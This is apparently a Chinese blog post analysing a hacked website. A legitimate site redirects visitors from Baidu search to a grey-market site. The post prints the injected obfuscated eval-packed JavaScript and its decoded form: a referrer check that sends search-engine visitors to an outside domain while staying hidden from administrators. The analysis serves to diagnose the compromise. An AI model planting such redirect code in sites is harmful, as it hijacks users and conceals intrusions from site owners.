用百度搜索时,发现一些正规网站老是转跳到灰色网站,一开始以为是电脑有问题,后来发现是源网站被黑后插入了js代码,
百度的转跳地址:https://www.baidu.com/link?url=uG7fSB4_3jpLkkUMvQhwTOZnVt04fZ9iQpE0RWaRO_CGYi7AzUORBHPzVVfkL1AA&wd=&eqid=e7c8ffb300015c200000000361f184d2
百度转跳的源码:
<!DOCTYPE html><html><head><meta charset="UTF-8"><meta content="always" name="referrer"><script>try{if(window.opener&&window.opener.bds&&window.opener.bds.pdc&&window.opener.bds.pdc.sendLinkLog){window.opener.bds.pdc.sendLinkLog();}}catch(e) {};var timeout = 0;if(/bdlksmp/.test(window.location.href)){var reg = /bdlksmp=([^=&]+)/,matches = window.location.href.match(reg);timeout = matches[1] ? matches[1] : 0};setTimeout(function(){window.location.replace("https://www.conieer.com/")},timeout);window.opener=null;</script> <noscript><META http-equiv="refresh" content="0;URL='https://www.conieer.com/'"></noscript>
目标网站查看代码发现一段奇怪的代码
<script type = "text/javascript" >eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);return p;}('m["\n\l\2\j\i\3\b\0"]["\k\6\8\0\3"]('\h\1\2\6\8\5\0 \0\o\5\3\c\7\0\3\d\0\4\g\a\s\a\1\2\6\8\5\0\7 \1\6\2\c\7\r\0\0\5\1\p\4\4\q\a\d\9\9\9\f\b\3\0\4\t\i\f\g\1\7\e\h\4\1\2\6\8\5\0\e');',30,30,'x74|x73|x63|x65|x2f|x70|x72|x22|x69|x36|x61|x6e|x3d|x78|x3e|x2e|x6a|x3c|x6d|x75|x77|x6f|window|x64|x79|x3a|x66|x68|x76|x71'.split('|'),0,{})) </script>
格式化如下:
eval(function(p, a, c, k, e, d) { e = function(c) { return (c < a ? "": e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36)) }; if (!''.replace(/^/, String)) { while (c--) d[e(c)] = k[c] || e(c); k = [function(e) { return d[e] }]; e = function() { return '\w+' }; c = 1; }; while (c--) if (k[c]) p = p.replace(new RegExp('\b' + e(c) + '\b', 'g'), k[c]); return p; } ('m["\n\l\2\j\i\3\b\0"]["\k\6\8\0\3"]('\h\1\2\6\8\5\0 \0\o\5\3\c\7\0\3\d\0\4\g\a\s\a\1\2\6\8\5\0\7 \1\6\2\c\7\r\0\0\5\1\p\4\4\q\a\d\9\9\9\f\b\3\0\4\t\i\f\g\1\7\e\h\4\1\2\6\8\5\0\e');', 30, 30, 'x74|x73|x63|x65|x2f|x70|x72|x22|x69|x36|x61|x6e|x3d|x78|x3e|x2e|x6a|x3c|x6d|x75|x77|x6f|window|x64|x79|x3a|x66|x68|x76|x71'.split('|'), 0, {}))
运行后,会有
<script language="Javascript"> var s=document.referrer if(s.indexOf("baidu")>0 || s.indexOf("sogou")>0 || s.indexOf("soso")>0 ||s.indexOf("sm")>0 ||s.indexOf("uc")>0 ||s.indexOf("bing")>0 ||s.indexOf("yahoo")>0 ||s.indexOf("so")>0 ) location.href="https://winu.net"; </script>
也就是在搜索中打开才会转跳,网站有管理一会很难发现问题